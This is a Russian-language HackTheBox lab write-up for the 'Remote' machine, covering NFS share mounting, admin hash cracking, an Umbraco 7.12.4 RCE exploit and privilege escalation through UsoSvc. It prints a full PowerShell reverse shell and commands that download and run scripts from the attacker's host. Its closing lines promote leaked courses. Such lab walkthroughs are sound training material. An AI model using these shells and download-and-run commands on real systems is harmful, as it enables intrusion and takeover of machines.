HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc

в 15:01, , рубрики: ctf, HTB, pentest, pentesting, ralf_rt, red team, red teaming, информационная безопасность
HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 1

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье копаемся в NFS ресурсе, разбираемся с RCE эксплоитом для CMS Umbraco и находим вектор LPE через UsoSvc с помощью PowerUp.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.180, который я добавляю в /etc/hosts.

10.10.10.180 	remote.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.180 --rate=500

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 2

На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.

nmap remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 3

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 4

Порт 111 отвечает за NFS (позволяет монтировать удалённые файловые системы через сеть). Давайте посмотрим список ресурсов.

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 5

Имеем доступные ресурсы, давайте примонтируем данный ресурс.

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 6

И в данной директории находим Web.config и папку Umbraco. Umbraco является платформой системы управления контентом с открытым исходным кодом.

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 7

Таким образом нам, нам нужно посмотреть все конфиги, а также узнать версию Umbraco. Вот что можно отметить в Web.Config.

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 8

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 9

Находим учетные данные для smtp и версию Umbraco: 7.12.4. Корая является уязвимой, если имеются учетные данные.

Entry Point

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 10

Дальше я вывел все файлы и каталоги, которые имеются на удаленном сервере, чтобы выбрать и просмотреть файлы, которые представляют интерес.

ls -lR ./

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 11

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 12

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 13

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 14

После того, как круг файлов ограничен, следует их просмотреть (можно поверхностно используя grep для выбора таких строк как: user, login, pass, vers, и т.п.). Так находим информацию о существовании двух пользователей:

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 15

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 16

После этого, еще раз проходимся grep’ом в поисках строк admin и ssmith. И находим хеши для данных пользователей.

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 17

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 18

И успешно взламываем пароль администратора.

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 19

Если посмотреть базу exploit-db, то там есть готовый exploit, но его нужно чуть изменить.

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 20

USER

Во-первых: укажем учетные данные и хост.

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 21

Во-вторых: изменим нагрузку, указав исполняемый файл и параметры к нему. В данном случае, для теста используем ping.

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 22

Как только программа отработает, в tcpdump мы увидим пакеты ICMP.

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 23

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 24

Давайте загрузим следующий реверс-шелл:

$client = New-Object System.Net.Sockets.TCPClient('10.10.15.60',4321)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()

Сохраним его в shell.ps1, запустим на локальной машине http сервер.

sudo python3 -m http.server

Изменим нагрузку.

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 25

И выполнив, получим бэкконнект.

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 26

На сервере нет пользовательских директорий, поэтому находим флаг в доступной для всех Public.

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 27

ROOT

Посмотрев информацию о пользователе, замечаем интересную привилегию.

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 28

Но так как это Windows Server 2019, то имперсонировать токен для LPE не выйдет.

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 29

Давайте используем PowerUp для поиска вектора LPE. Загрузим его с локального хоста и выполним полную проверку.

iex (New-Object Net.WebClient).DownloadString('http://10.10.15.60/tools/PowerUp.ps1');Invoke-AllChecks

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 30

И мы имеем разрешения на Update Orchestrator Service. Cлужба обновления Orchestrator — это служба, которая организует для вас обновления Windows. Этот сервис отвечает за загрузку, установку и проверку обновлений для компьютера.

Создадим второй shell (изменим в первом порт) и загрузим его на машину.

wget http://10.10.15.60/shell2.ps1 -O C:WindowsTempshell2.ps1

И теперь запустим с помощью UsoSvc.

Invoke-ServiceAbuse -Name UsoSvc -Command "cmd.exe /c powershell C:WindowsTempshell2.ps1"

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 31

И получаем бэкконнект.

HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc - 32

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Автор: Ральф Фаилов

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js